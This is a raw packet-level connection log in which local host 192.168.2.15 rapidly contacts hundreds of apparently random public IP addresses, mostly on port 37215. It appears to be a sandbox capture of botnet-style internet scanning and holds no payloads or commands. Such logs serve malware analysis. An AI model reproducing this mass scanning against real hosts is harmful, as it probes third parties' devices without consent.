Jul 20, 2024 23:10:39.412914991 CEST	37215	58767	203.252.189.193	192.168.2.15
Jul 20, 2024 23:10:39.413083076 CEST	58767	37215	192.168.2.15	197.193.41.19
Jul 20, 2024 23:10:39.413083076 CEST	58767	37215	192.168.2.15	41.130.253.84
Jul 20, 2024 23:10:39.413083076 CEST	58767	37215	192.168.2.15	157.170.166.147
Jul 20, 2024 23:10:39.413083076 CEST	58767	37215	192.168.2.15	41.220.91.135
Jul 20, 2024 23:10:39.413083076 CEST	58767	37215	192.168.2.15	197.117.147.105
Jul 20, 2024 23:10:39.413083076 CEST	58767	37215	192.168.2.15	197.0.173.200
Jul 20, 2024 23:10:39.413083076 CEST	58767	37215	192.168.2.15	197.127.13.237
Jul 20, 2024 23:10:39.413446903 CEST	37215	58767	47.161.49.136	192.168.2.15
Jul 20, 2024 23:10:39.413455963 CEST	58767	37215	192.168.2.15	197.221.250.156
Jul 20, 2024 23:10:39.413455963 CEST	58767	37215	192.168.2.15	157.176.224.42
Jul 20, 2024 23:10:39.413455963 CEST	58767	37215	192.168.2.15	197.90.90.232
Jul 20, 2024 23:10:39.413456917 CEST	58767	37215	192.168.2.15	197.167.76.100
Jul 20, 2024 23:10:39.413456917 CEST	58767	37215	192.168.2.15	121.81.122.132
Jul 20, 2024 23:10:39.413456917 CEST	58767	37215	192.168.2.15	197.11.212.197
Jul 20, 2024 23:10:39.413456917 CEST	33416	80	192.168.2.15	88.72.65.98
Jul 20, 2024 23:10:39.413456917 CEST	58767	37215	192.168.2.15	142.87.130.72
Jul 20, 2024 23:10:39.413813114 CEST	37215	58767	157.221.114.39	192.168.2.15
Jul 20, 2024 23:10:39.414335966 CEST	37215	58767	157.140.54.87	192.168.2.15
Jul 20, 2024 23:10:39.414355040 CEST	37215	58767	67.17.148.249	192.168.2.15
Jul 20, 2024 23:10:39.414369106 CEST	37215	58767	45.182.185.114	192.168.2.15
Jul 20, 2024 23:10:39.415191889 CEST	37215	58767	41.17.147.201	192.168.2.15
Jul 20, 2024 23:10:39.415232897 CEST	37215	58767	41.107.118.213	192.168.2.15
Jul 20, 2024 23:10:39.415244102 CEST	58767	37215	192.168.2.15	41.60.208.111
Jul 20, 2024 23:10:39.415244102 CEST	58767	37215	192.168.2.15	178.238.172.98
Jul 20, 2024 23:10:39.415244102 CEST	58767	37215	192.168.2.15	157.233.47.100
Jul 20, 2024 23:10:39.415244102 CEST	58767	37215	192.168.2.15	157.247.121.115
Jul 20, 2024 23:10:39.415244102 CEST	58767	37215	192.168.2.15	157.220.135.175
Jul 20, 2024 23:10:39.415244102 CEST	58767	37215	192.168.2.15	157.64.215.168
Jul 20, 2024 23:10:39.415244102 CEST	58767	37215	192.168.2.15	218.41.73.182
Jul 20, 2024 23:10:39.415244102 CEST	58767	37215	192.168.2.15	157.27.4.115
Jul 20, 2024 23:10:39.415386915 CEST	58767	37215	192.168.2.15	157.187.128.233
Jul 20, 2024 23:10:39.415386915 CEST	58767	37215	192.168.2.15	50.190.212.192
Jul 20, 2024 23:10:39.415386915 CEST	58767	37215	192.168.2.15	41.230.19.206
Jul 20, 2024 23:10:39.415386915 CEST	58767	37215	192.168.2.15	157.62.105.10
Jul 20, 2024 23:10:39.415386915 CEST	58767	37215	192.168.2.15	41.89.101.228
Jul 20, 2024 23:10:39.415386915 CEST	58767	37215	192.168.2.15	197.20.238.203
Jul 20, 2024 23:10:39.415386915 CEST	58767	37215	192.168.2.15	79.86.115.175
Jul 20, 2024 23:10:39.415386915 CEST	58767	37215	192.168.2.15	80.45.188.203
Jul 20, 2024 23:10:39.415663958 CEST	37215	58767	202.55.40.248	192.168.2.15
Jul 20, 2024 23:10:39.415788889 CEST	37215	58767	82.188.139.177	192.168.2.15
Jul 20, 2024 23:10:39.415807962 CEST	37215	58767	41.89.205.0	192.168.2.15
Jul 20, 2024 23:10:39.416109085 CEST	37215	58767	197.206.18.156	192.168.2.15
Jul 20, 2024 23:10:39.416208029 CEST	37215	58767	195.140.124.235	192.168.2.15
Jul 20, 2024 23:10:39.416270018 CEST	37215	58767	185.165.241.177	192.168.2.15
Jul 20, 2024 23:10:39.416336060 CEST	37215	58767	157.81.100.104	192.168.2.15
Jul 20, 2024 23:10:39.416804075 CEST	37215	58767	59.5.0.104	192.168.2.15
Jul 20, 2024 23:10:39.416819096 CEST	37215	58767	41.33.155.5	192.168.2.15
Jul 20, 2024 23:10:39.416970968 CEST	37215	58767	157.225.72.22	192.168.2.15
Jul 20, 2024 23:10:39.417176962 CEST	37215	58767	209.252.109.212	192.168.2.15
Jul 20, 2024 23:10:39.417294979 CEST	37215	58767	203.116.166.241	192.168.2.15
Jul 20, 2024 23:10:39.417309046 CEST	37215	58767	172.199.71.225	192.168.2.15
Jul 20, 2024 23:10:39.417536974 CEST	37215	58767	197.95.50.187	192.168.2.15
Jul 20, 2024 23:10:39.417695999 CEST	37215	58767	41.85.101.101	192.168.2.15
Jul 20, 2024 23:10:39.417911053 CEST	37215	58767	157.37.31.157	192.168.2.15
Jul 20, 2024 23:10:39.418219090 CEST	37215	58767	41.244.84.10	192.168.2.15
Jul 20, 2024 23:10:39.418437004 CEST	58767	37215	192.168.2.15	197.61.142.174
Jul 20, 2024 23:10:39.418437004 CEST	58767	37215	192.168.2.15	197.248.4.145
Jul 20, 2024 23:10:39.418437004 CEST	58767	37215	192.168.2.15	157.56.21.253
Jul 20, 2024 23:10:39.418437004 CEST	58767	37215	192.168.2.15	197.117.228.167
Jul 20, 2024 23:10:39.418437958 CEST	58767	37215	192.168.2.15	197.146.190.85
Jul 20, 2024 23:10:39.418437958 CEST	58767	37215	192.168.2.15	41.142.56.196
Jul 20, 2024 23:10:39.418437958 CEST	58767	37215	192.168.2.15	197.54.215.78
Jul 20, 2024 23:10:39.418437958 CEST	58767	37215	192.168.2.15	157.60.61.38
Jul 20, 2024 23:10:39.418443918 CEST	37215	58767	41.2.15.86	192.168.2.15
Jul 20, 2024 23:10:39.418458939 CEST	37215	58767	157.25.34.30	192.168.2.15
Jul 20, 2024 23:10:39.418473005 CEST	37215	58767	197.19.102.129	192.168.2.15
Jul 20, 2024 23:10:39.418731928 CEST	37215	58767	90.80.26.72	192.168.2.15
Jul 20, 2024 23:10:39.418822050 CEST	37215	58767	197.221.250.156	192.168.2.15
Jul 20, 2024 23:10:39.419038057 CEST	37215	58767	197.193.41.19	192.168.2.15
Jul 20, 2024 23:10:39.419147015 CEST	58767	37215	192.168.2.15	142.212.156.95
Jul 20, 2024 23:10:39.419147015 CEST	58767	37215	192.168.2.15	41.41.40.177
Jul 20, 2024 23:10:39.419147015 CEST	58767	37215	192.168.2.15	220.196.39.117
Jul 20, 2024 23:10:39.419147015 CEST	58767	37215	192.168.2.15	157.124.96.183
Jul 20, 2024 23:10:39.419147015 CEST	50412	8081	192.168.2.15	118.166.213.249
Jul 20, 2024 23:10:39.419147015 CEST	58767	37215	192.168.2.15	99.221.16.134
Jul 20, 2024 23:10:39.419147015 CEST	58767	37215	192.168.2.15	197.26.6.155
Jul 20, 2024 23:10:39.419147015 CEST	58767	37215	192.168.2.15	197.1.85.200
Jul 20, 2024 23:10:39.419159889 CEST	37215	58767	164.217.41.217	192.168.2.15
Jul 20, 2024 23:10:39.419173956 CEST	37215	58767	41.130.253.84	192.168.2.15
Jul 20, 2024 23:10:39.419188976 CEST	37215	58767	41.183.199.246	192.168.2.15
Jul 20, 2024 23:10:39.419516087 CEST	37215	58767	157.5.222.49	192.168.2.15
Jul 20, 2024 23:10:39.419529915 CEST	37215	58767	157.170.166.147	192.168.2.15
Jul 20, 2024 23:10:39.419543982 CEST	37215	58767	157.63.155.215	192.168.2.15
Jul 20, 2024 23:10:39.419869900 CEST	58767	37215	192.168.2.15	157.133.89.145
Jul 20, 2024 23:10:39.419869900 CEST	58767	37215	192.168.2.15	157.24.201.115
Jul 20, 2024 23:10:39.419869900 CEST	58767	37215	192.168.2.15	197.177.154.160
Jul 20, 2024 23:10:39.419869900 CEST	58767	37215	192.168.2.15	41.112.90.234
Jul 20, 2024 23:10:39.419871092 CEST	58767	37215	192.168.2.15	197.209.177.195
Jul 20, 2024 23:10:39.419871092 CEST	58767	37215	192.168.2.15	193.219.212.33
Jul 20, 2024 23:10:39.419871092 CEST	58767	37215	192.168.2.15	42.79.63.236
Jul 20, 2024 23:10:39.419871092 CEST	58767	37215	192.168.2.15	146.32.90.224
Jul 20, 2024 23:10:39.420346022 CEST	37215	58767	157.176.224.42	192.168.2.15
Jul 20, 2024 23:10:39.420361042 CEST	37215	58767	41.213.125.9	192.168.2.15
Jul 20, 2024 23:10:39.420373917 CEST	37215	58767	157.13.143.172	192.168.2.15
Jul 20, 2024 23:10:39.420387983 CEST	37215	58767	41.60.208.111	192.168.2.15
Jul 20, 2024 23:10:39.420567989 CEST	37215	58767	157.187.128.233	192.168.2.15
Jul 20, 2024 23:10:39.420595884 CEST	37215	58767	41.220.91.135	192.168.2.15
Jul 20, 2024 23:10:39.420641899 CEST	58767	37215	192.168.2.15	197.124.221.252
Jul 20, 2024 23:10:39.420641899 CEST	58767	37215	192.168.2.15	197.206.183.135
Jul 20, 2024 23:10:39.420641899 CEST	58767	37215	192.168.2.15	157.79.33.166
Jul 20, 2024 23:10:39.420641899 CEST	58767	37215	192.168.2.15	157.95.107.89
Jul 20, 2024 23:10:39.420641899 CEST	58767	37215	192.168.2.15	223.105.153.234
Jul 20, 2024 23:10:39.420641899 CEST	58767	37215	192.168.2.15	41.129.79.238
Jul 20, 2024 23:10:39.420641899 CEST	58767	37215	192.168.2.15	197.49.29.208
Jul 20, 2024 23:10:39.420641899 CEST	58767	37215	192.168.2.15	197.210.47.198
Jul 20, 2024 23:10:39.421574116 CEST	37215	58767	50.190.212.192	192.168.2.15
Jul 20, 2024 23:10:39.421601057 CEST	37215	58767	178.238.172.98	192.168.2.15
Jul 20, 2024 23:10:39.421614885 CEST	37215	58767	41.230.19.206	192.168.2.15
Jul 20, 2024 23:10:39.421628952 CEST	37215	58767	157.233.47.100	192.168.2.15
Jul 20, 2024 23:10:39.421653032 CEST	37215	58767	197.117.147.105	192.168.2.15
Jul 20, 2024 23:10:39.421667099 CEST	37215	58767	157.220.242.15	192.168.2.15
Jul 20, 2024 23:10:39.421681881 CEST	37215	58767	197.90.90.232	192.168.2.15
Jul 20, 2024 23:10:39.422172070 CEST	37215	58767	157.247.121.115	192.168.2.15
Jul 20, 2024 23:10:39.422496080 CEST	37215	58767	197.0.173.200	192.168.2.15
Jul 20, 2024 23:10:39.422576904 CEST	37215	58767	197.167.76.100	192.168.2.15
Jul 20, 2024 23:10:39.422590017 CEST	37215	58767	131.24.75.178	192.168.2.15
Jul 20, 2024 23:10:39.422602892 CEST	37215	58767	197.52.109.95	192.168.2.15
Jul 20, 2024 23:10:39.423247099 CEST	58767	37215	192.168.2.15	206.51.204.224
Jul 20, 2024 23:10:39.423247099 CEST	58767	37215	192.168.2.15	212.114.62.18
Jul 20, 2024 23:10:39.423247099 CEST	58767	37215	192.168.2.15	197.213.221.0
Jul 20, 2024 23:10:39.423247099 CEST	58767	37215	192.168.2.15	41.24.37.161
Jul 20, 2024 23:10:39.423247099 CEST	58767	37215	192.168.2.15	157.91.45.16
Jul 20, 2024 23:10:39.423247099 CEST	58767	37215	192.168.2.15	197.59.13.102
Jul 20, 2024 23:10:39.423247099 CEST	58767	37215	192.168.2.15	116.91.115.218
Jul 20, 2024 23:10:39.423247099 CEST	58767	37215	192.168.2.15	41.5.163.86
Jul 20, 2024 23:10:39.423260927 CEST	37215	58767	157.62.105.10	192.168.2.15
Jul 20, 2024 23:10:39.423284054 CEST	37215	58767	157.220.135.175	192.168.2.15
Jul 20, 2024 23:10:39.423305988 CEST	37215	58767	41.89.101.228	192.168.2.15
Jul 20, 2024 23:10:39.423321009 CEST	37215	58767	197.127.13.237	192.168.2.15
Jul 20, 2024 23:10:39.423613071 CEST	37215	58767	197.20.238.203	192.168.2.15
Jul 20, 2024 23:10:39.423739910 CEST	37215	58767	197.61.142.174	192.168.2.15
Jul 20, 2024 23:10:39.424698114 CEST	58767	37215	192.168.2.15	197.86.32.1
Jul 20, 2024 23:10:39.424698114 CEST	58767	37215	192.168.2.15	19.162.179.252
Jul 20, 2024 23:10:39.424698114 CEST	58767	37215	192.168.2.15	159.160.49.22
Jul 20, 2024 23:10:39.424698114 CEST	58767	37215	192.168.2.15	41.220.118.63
Jul 20, 2024 23:10:39.424698114 CEST	58767	37215	192.168.2.15	197.35.12.124
Jul 20, 2024 23:10:39.424698114 CEST	58767	37215	192.168.2.15	157.239.89.161
Jul 20, 2024 23:10:39.424698114 CEST	58767	37215	192.168.2.15	41.157.83.20
Jul 20, 2024 23:10:39.424698114 CEST	58767	37215	192.168.2.15	134.135.108.183
Jul 20, 2024 23:10:39.425189972 CEST	37215	58767	79.86.115.175	192.168.2.15
Jul 20, 2024 23:10:39.425204992 CEST	37215	58767	157.64.215.168	192.168.2.15
Jul 20, 2024 23:10:39.425220013 CEST	37215	58767	80.45.188.203	192.168.2.15
Jul 20, 2024 23:10:39.425235033 CEST	37215	58767	197.248.4.145	192.168.2.15
Jul 20, 2024 23:10:39.425257921 CEST	37215	58767	218.41.73.182	192.168.2.15
Jul 20, 2024 23:10:39.425272942 CEST	37215	58767	157.56.21.253	192.168.2.15
Jul 20, 2024 23:10:39.425287008 CEST	37215	58767	142.212.156.95	192.168.2.15
Jul 20, 2024 23:10:39.425304890 CEST	37215	58767	157.27.4.115	192.168.2.15
Jul 20, 2024 23:10:39.425322056 CEST	37215	58767	160.231.41.156	192.168.2.15
Jul 20, 2024 23:10:39.425335884 CEST	37215	58767	197.117.228.167	192.168.2.15
Jul 20, 2024 23:10:39.425581932 CEST	58767	37215	192.168.2.15	119.202.158.125
Jul 20, 2024 23:10:39.425581932 CEST	58767	37215	192.168.2.15	197.232.117.171
Jul 20, 2024 23:10:39.425581932 CEST	58767	37215	192.168.2.15	197.101.224.83
Jul 20, 2024 23:10:39.425581932 CEST	58767	37215	192.168.2.15	207.241.199.63
Jul 20, 2024 23:10:39.425581932 CEST	58767	37215	192.168.2.15	221.150.250.3
Jul 20, 2024 23:10:39.425581932 CEST	58767	37215	192.168.2.15	197.160.180.182
Jul 20, 2024 23:10:39.425581932 CEST	58767	37215	192.168.2.15	157.157.119.165
Jul 20, 2024 23:10:39.425581932 CEST	51212	37215	192.168.2.15	75.245.37.135
Jul 20, 2024 23:10:39.425734997 CEST	37215	58767	128.55.37.128	192.168.2.15
Jul 20, 2024 23:10:39.425749063 CEST	37215	58767	168.200.232.144	192.168.2.15
Jul 20, 2024 23:10:39.425919056 CEST	37215	58767	186.119.109.234	192.168.2.15
Jul 20, 2024 23:10:39.426139116 CEST	37215	58767	197.217.46.175	192.168.2.15
Jul 20, 2024 23:10:39.426326036 CEST	37215	58767	157.133.89.145	192.168.2.15
Jul 20, 2024 23:10:39.426512957 CEST	37215	58767	41.41.40.177	192.168.2.15
Jul 20, 2024 23:10:39.426815987 CEST	37215	58767	157.24.201.115	192.168.2.15
Jul 20, 2024 23:10:39.426872969 CEST	37215	58767	8.157.200.79	192.168.2.15
Jul 20, 2024 23:10:39.426887035 CEST	37215	58767	197.124.221.252	192.168.2.15
Jul 20, 2024 23:10:39.427309990 CEST	37215	58767	197.146.190.85	192.168.2.15
Jul 20, 2024 23:10:39.427820921 CEST	37215	58767	197.177.154.160	192.168.2.15
Jul 20, 2024 23:10:39.427855968 CEST	37215	58767	41.142.56.196	192.168.2.15
Jul 20, 2024 23:10:39.427870035 CEST	37215	58767	220.196.39.117	192.168.2.15
Jul 20, 2024 23:10:39.427887917 CEST	37215	58767	197.54.215.78	192.168.2.15
Jul 20, 2024 23:10:39.427901983 CEST	37215	58767	157.124.96.183	192.168.2.15
Jul 20, 2024 23:10:39.428105116 CEST	37215	58767	41.112.90.234	192.168.2.15
Jul 20, 2024 23:10:39.428154945 CEST	37215	58767	157.60.61.38	192.168.2.15
Jul 20, 2024 23:10:39.428863049 CEST	58767	37215	192.168.2.15	41.176.34.64
Jul 20, 2024 23:10:39.428864002 CEST	58767	37215	192.168.2.15	197.213.155.40
Jul 20, 2024 23:10:39.428864002 CEST	58767	37215	192.168.2.15	157.143.177.229
Jul 20, 2024 23:10:39.428864002 CEST	58767	37215	192.168.2.15	191.33.63.137
Jul 20, 2024 23:10:39.428864002 CEST	58767	37215	192.168.2.15	197.184.208.241
Jul 20, 2024 23:10:39.428864002 CEST	58767	37215	192.168.2.15	197.223.106.178
Jul 20, 2024 23:10:39.428864002 CEST	58767	37215	192.168.2.15	157.226.25.198
Jul 20, 2024 23:10:39.428864002 CEST	58767	37215	192.168.2.15	197.170.45.9
Jul 20, 2024 23:10:39.429002047 CEST	37215	58767	197.131.108.209	192.168.2.15
Jul 20, 2024 23:10:39.429167986 CEST	37215	58767	206.51.204.224	192.168.2.15
Jul 20, 2024 23:10:39.429187059 CEST	37215	58767	99.221.16.134	192.168.2.15
Jul 20, 2024 23:10:39.429204941 CEST	37215	58767	197.209.177.195	192.168.2.15
Jul 20, 2024 23:10:39.429228067 CEST	37215	58767	197.26.6.155	192.168.2.15
Jul 20, 2024 23:10:39.429241896 CEST	8081	52158	140.139.225.140	192.168.2.15
Jul 20, 2024 23:10:39.429258108 CEST	52869	51404	104.126.44.136	192.168.2.15
Jul 20, 2024 23:10:39.430175066 CEST	37215	58767	212.114.62.18	192.168.2.15
Jul 20, 2024 23:10:39.430188894 CEST	37215	58767	197.1.85.200	192.168.2.15
Jul 20, 2024 23:10:39.430206060 CEST	37215	58767	197.213.221.0	192.168.2.15
Jul 20, 2024 23:10:39.430233002 CEST	37215	58767	193.219.212.33	192.168.2.15
Jul 20, 2024 23:10:39.430383921 CEST	58767	37215	192.168.2.15	157.30.254.223
Jul 20, 2024 23:10:39.430383921 CEST	58767	37215	192.168.2.15	44.241.193.192
Jul 20, 2024 23:10:39.430383921 CEST	58767	37215	192.168.2.15	157.34.41.98
Jul 20, 2024 23:10:39.430383921 CEST	60270	37215	192.168.2.15	41.114.206.140
Jul 20, 2024 23:10:39.430383921 CEST	56722	37215	192.168.2.15	157.29.91.154
Jul 20, 2024 23:10:39.430383921 CEST	43798	37215	192.168.2.15	103.246.101.15
Jul 20, 2024 23:10:39.430383921 CEST	58767	37215	192.168.2.15	41.9.24.50
Jul 20, 2024 23:10:39.430383921 CEST	41284	37215	192.168.2.15	107.103.239.103
Jul 20, 2024 23:10:39.430419922 CEST	37215	58767	197.86.32.1	192.168.2.15
Jul 20, 2024 23:10:39.430433035 CEST	37215	58767	42.79.63.236	192.168.2.15
Jul 20, 2024 23:10:39.430516958 CEST	37215	58767	19.162.179.252	192.168.2.15
Jul 20, 2024 23:10:39.430533886 CEST	37215	58767	146.32.90.224	192.168.2.15
Jul 20, 2024 23:10:39.430561066 CEST	37215	58767	41.24.37.161	192.168.2.15
Jul 20, 2024 23:10:39.430691004 CEST	58767	37215	192.168.2.15	157.27.191.112
Jul 20, 2024 23:10:39.430691004 CEST	58767	37215	192.168.2.15	63.136.113.20
Jul 20, 2024 23:10:39.430691004 CEST	58767	37215	192.168.2.15	157.225.79.208
Jul 20, 2024 23:10:39.430691004 CEST	32888	37215	192.168.2.15	193.168.188.87
Jul 20, 2024 23:10:39.430691957 CEST	60840	37215	192.168.2.15	41.109.80.153
Jul 20, 2024 23:10:39.430691957 CEST	59080	37215	192.168.2.15	166.129.166.145
Jul 20, 2024 23:10:39.430691957 CEST	58302	37215	192.168.2.15	197.130.106.175
Jul 20, 2024 23:10:39.430691957 CEST	52656	37215	192.168.2.15	41.101.180.53
Jul 20, 2024 23:10:39.431052923 CEST	37215	58767	159.160.49.22	192.168.2.15
Jul 20, 2024 23:10:39.431070089 CEST	37215	58767	119.202.158.125	192.168.2.15
Jul 20, 2024 23:10:39.431368113 CEST	37215	58767	41.220.118.63	192.168.2.15
Jul 20, 2024 23:10:39.431803942 CEST	47204	37215	192.168.2.15	41.135.100.3
Jul 20, 2024 23:10:39.431803942 CEST	39720	37215	192.168.2.15	41.48.64.8
Jul 20, 2024 23:10:39.431803942 CEST	42676	37215	192.168.2.15	157.135.74.226
Jul 20, 2024 23:10:39.431803942 CEST	59122	37215	192.168.2.15	197.91.175.126
Jul 20, 2024 23:10:39.431803942 CEST	37834	37215	192.168.2.15	197.43.242.43
Jul 20, 2024 23:10:39.431803942 CEST	54920	37215	192.168.2.15	14.49.13.245
Jul 20, 2024 23:10:39.431803942 CEST	60562	37215	192.168.2.15	149.205.10.158
Jul 20, 2024 23:10:39.431803942 CEST	45450	37215	192.168.2.15	197.238.161.20
Jul 20, 2024 23:10:39.431838036 CEST	37215	58767	166.172.110.205	192.168.2.15
Jul 20, 2024 23:10:39.431873083 CEST	37215	58767	157.80.150.3	192.168.2.15
Jul 20, 2024 23:10:39.431890965 CEST	37215	58767	197.206.183.135	192.168.2.15
Jul 20, 2024 23:10:39.431905031 CEST	37215	58767	157.161.191.131	192.168.2.15
Jul 20, 2024 23:10:39.432267904 CEST	37215	58767	121.81.122.132	192.168.2.15
Jul 20, 2024 23:10:39.432286978 CEST	37215	58767	157.248.55.189	192.168.2.15
Jul 20, 2024 23:10:39.432300091 CEST	37215	58767	197.232.117.171	192.168.2.15
Jul 20, 2024 23:10:39.432382107 CEST	58767	37215	192.168.2.15	157.92.176.196
Jul 20, 2024 23:10:39.432382107 CEST	58767	37215	192.168.2.15	41.232.233.73
Jul 20, 2024 23:10:39.432382107 CEST	58767	37215	192.168.2.15	197.37.174.195
Jul 20, 2024 23:10:39.432382107 CEST	58767	37215	192.168.2.15	35.223.93.106
Jul 20, 2024 23:10:39.432382107 CEST	58767	37215	192.168.2.15	72.141.158.62
Jul 20, 2024 23:10:39.432382107 CEST	58767	37215	192.168.2.15	197.153.137.15
Jul 20, 2024 23:10:39.432382107 CEST	58767	37215	192.168.2.15	222.23.100.102
Jul 20, 2024 23:10:39.432382107 CEST	58767	37215	192.168.2.15	157.61.182.194
Jul 20, 2024 23:10:39.432403088 CEST	37215	58767	157.91.45.16	192.168.2.15
Jul 20, 2024 23:10:39.432528973 CEST	58767	37215	192.168.2.15	41.62.71.102
Jul 20, 2024 23:10:39.432528973 CEST	58767	37215	192.168.2.15	41.200.62.206
Jul 20, 2024 23:10:39.432528973 CEST	58767	37215	192.168.2.15	122.246.155.127
Jul 20, 2024 23:10:39.432529926 CEST	58767	37215	192.168.2.15	157.107.45.191
Jul 20, 2024 23:10:39.432529926 CEST	58767	37215	192.168.2.15	157.189.91.200
Jul 20, 2024 23:10:39.432529926 CEST	58767	37215	192.168.2.15	111.163.126.214
Jul 20, 2024 23:10:39.432529926 CEST	58767	37215	192.168.2.15	157.122.189.252
Jul 20, 2024 23:10:39.432529926 CEST	58767	37215	192.168.2.15	191.255.173.248
Jul 20, 2024 23:10:39.433001041 CEST	37215	58767	197.101.224.83	192.168.2.15
Jul 20, 2024 23:10:39.433016062 CEST	37215	58767	197.35.12.124	192.168.2.15
Jul 20, 2024 23:10:39.433037043 CEST	37215	58767	207.241.199.63	192.168.2.15
Jul 20, 2024 23:10:39.433104038 CEST	37215	58767	157.239.89.161	192.168.2.15
Jul 20, 2024 23:10:39.433487892 CEST	41866	37215	192.168.2.15	140.235.15.87
Jul 20, 2024 23:10:39.433487892 CEST	38926	37215	192.168.2.15	41.253.112.25
Jul 20, 2024 23:10:39.433487892 CEST	58030	37215	192.168.2.15	197.57.193.59
Jul 20, 2024 23:10:39.433487892 CEST	58767	37215	192.168.2.15	36.136.67.112
Jul 20, 2024 23:10:39.433487892 CEST	52554	37215	192.168.2.15	197.20.220.200
Jul 20, 2024 23:10:39.433487892 CEST	57118	37215	192.168.2.15	41.157.245.144
Jul 20, 2024 23:10:39.433487892 CEST	51110	37215	192.168.2.15	197.246.166.200
Jul 20, 2024 23:10:39.433487892 CEST	58767	37215	192.168.2.15	203.252.189.193
Jul 20, 2024 23:10:39.433981895 CEST	37215	58767	197.59.13.102	192.168.2.15
Jul 20, 2024 23:10:39.433998108 CEST	37215	58767	41.106.140.117	192.168.2.15
Jul 20, 2024 23:10:39.434058905 CEST	37215	58767	197.11.212.197	192.168.2.15
Jul 20, 2024 23:10:39.434072971 CEST	37215	58767	41.225.122.65	192.168.2.15
Jul 20, 2024 23:10:39.434087038 CEST	37215	58767	121.74.64.224	192.168.2.15
Jul 20, 2024 23:10:39.434123993 CEST	40956	37215	192.168.2.15	197.18.206.159
Jul 20, 2024 23:10:39.434123993 CEST	59342	37215	192.168.2.15	34.182.233.76
Jul 20, 2024 23:10:39.434123993 CEST	40972	37215	192.168.2.15	49.55.180.63
Jul 20, 2024 23:10:39.434123993 CEST	51100	37215	192.168.2.15	197.12.49.40
Jul 20, 2024 23:10:39.434123993 CEST	45984	37215	192.168.2.15	197.197.182.48
Jul 20, 2024 23:10:39.434123993 CEST	53362	37215	192.168.2.15	9.118.192.30
Jul 20, 2024 23:10:39.434123993 CEST	57580	37215	192.168.2.15	153.137.241.70
Jul 20, 2024 23:10:39.434123993 CEST	45790	37215	192.168.2.15	41.106.243.14
Jul 20, 2024 23:10:39.434365988 CEST	37000	37215	192.168.2.15	197.115.200.222
Jul 20, 2024 23:10:39.434365988 CEST	47674	37215	192.168.2.15	13.252.226.77
Jul 20, 2024 23:10:39.434365988 CEST	55304	37215	192.168.2.15	157.178.175.186
Jul 20, 2024 23:10:39.434365988 CEST	47084	37215	192.168.2.15	41.218.65.16
Jul 20, 2024 23:10:39.434365988 CEST	45306	37215	192.168.2.15	197.89.116.170
Jul 20, 2024 23:10:39.434365988 CEST	47276	37215	192.168.2.15	197.233.147.184
Jul 20, 2024 23:10:39.434365988 CEST	58767	37215	192.168.2.15	197.167.73.91
Jul 20, 2024 23:10:39.434365988 CEST	40632	37215	192.168.2.15	157.219.83.230
Jul 20, 2024 23:10:39.434506893 CEST	37215	58767	116.91.115.218	192.168.2.15
Jul 20, 2024 23:10:39.434556007 CEST	37215	58767	41.176.34.64	192.168.2.15
Jul 20, 2024 23:10:39.434984922 CEST	37215	58767	162.252.81.97	192.168.2.15
Jul 20, 2024 23:10:39.435074091 CEST	37215	58767	157.79.33.166	192.168.2.15
Jul 20, 2024 23:10:39.435311079 CEST	37215	58767	41.157.83.20	192.168.2.15
Jul 20, 2024 23:10:39.435425043 CEST	37215	58767	41.5.163.86	192.168.2.15
Jul 20, 2024 23:10:39.435439110 CEST	37215	58767	221.150.250.3	192.168.2.15
Jul 20, 2024 23:10:39.435452938 CEST	37215	58767	134.135.108.183	192.168.2.15
Jul 20, 2024 23:10:39.435745955 CEST	37215	58767	157.30.254.223	192.168.2.15
Jul 20, 2024 23:10:39.436065912 CEST	37215	58767	197.160.180.182	192.168.2.15
Jul 20, 2024 23:10:39.436131001 CEST	37215	58767	44.241.193.192	192.168.2.15
Jul 20, 2024 23:10:39.436621904 CEST	37215	58767	157.157.119.165	192.168.2.15
Jul 20, 2024 23:10:39.436635017 CEST	37215	58767	157.27.191.112	192.168.2.15
Jul 20, 2024 23:10:39.436645031 CEST	37215	58767	157.34.41.98	192.168.2.15
Jul 20, 2024 23:10:39.436681986 CEST	37215	58767	63.136.113.20	192.168.2.15
Jul 20, 2024 23:10:39.436691999 CEST	37215	51212	75.245.37.135	192.168.2.15
Jul 20, 2024 23:10:39.436928988 CEST	37215	60270	41.114.206.140	192.168.2.15
Jul 20, 2024 23:10:39.437067032 CEST	37215	58767	157.225.79.208	192.168.2.15
Jul 20, 2024 23:10:39.437077045 CEST	37215	58767	157.95.107.89	192.168.2.15
Jul 20, 2024 23:10:39.437233925 CEST	56992	37215	192.168.2.15	41.242.148.168
Jul 20, 2024 23:10:39.437233925 CEST	35152	37215	192.168.2.15	41.244.25.122
Jul 20, 2024 23:10:39.437233925 CEST	60270	37215	192.168.2.15	41.114.206.140
Jul 20, 2024 23:10:39.437233925 CEST	56722	37215	192.168.2.15	157.29.91.154
Jul 20, 2024 23:10:39.437233925 CEST	43798	37215	192.168.2.15	103.246.101.15
Jul 20, 2024 23:10:39.437233925 CEST	41284	37215	192.168.2.15	107.103.239.103
Jul 20, 2024 23:10:39.437233925 CEST	41866	37215	192.168.2.15	140.235.15.87
Jul 20, 2024 23:10:39.437233925 CEST	38926	37215	192.168.2.15	41.253.112.25
Jul 20, 2024 23:10:39.437463045 CEST	37215	58767	197.31.134.49	192.168.2.15
Jul 20, 2024 23:10:39.437505007 CEST	37215	58767	142.87.130.72	192.168.2.15
Jul 20, 2024 23:10:39.437841892 CEST	37215	56722	157.29.91.154	192.168.2.15
Jul 20, 2024 23:10:39.437859058 CEST	37215	60840	41.109.80.153	192.168.2.15
Jul 20, 2024 23:10:39.437911987 CEST	37215	47204	41.135.100.3	192.168.2.15
Jul 20, 2024 23:10:39.438003063 CEST	37215	59080	166.129.166.145	192.168.2.15
Jul 20, 2024 23:10:39.438013077 CEST	37215	43798	103.246.101.15	192.168.2.15
Jul 20, 2024 23:10:39.438134909 CEST	57396	37215	192.168.2.15	157.39.249.198
Jul 20, 2024 23:10:39.438134909 CEST	59254	37215	192.168.2.15	197.143.76.23
Jul 20, 2024 23:10:39.438134909 CEST	40404	37215	192.168.2.15	197.55.86.176
Jul 20, 2024 23:10:39.438134909 CEST	54780	37215	192.168.2.15	41.95.41.120
Jul 20, 2024 23:10:39.438134909 CEST	51212	37215	192.168.2.15	75.245.37.135
Jul 20, 2024 23:10:39.438134909 CEST	47204	37215	192.168.2.15	41.135.100.3
Jul 20, 2024 23:10:39.438134909 CEST	39720	37215	192.168.2.15	41.48.64.8
Jul 20, 2024 23:10:39.438134909 CEST	42676	37215	192.168.2.15	157.135.74.226
Jul 20, 2024 23:10:39.438271999 CEST	37215	39720	41.48.64.8	192.168.2.15
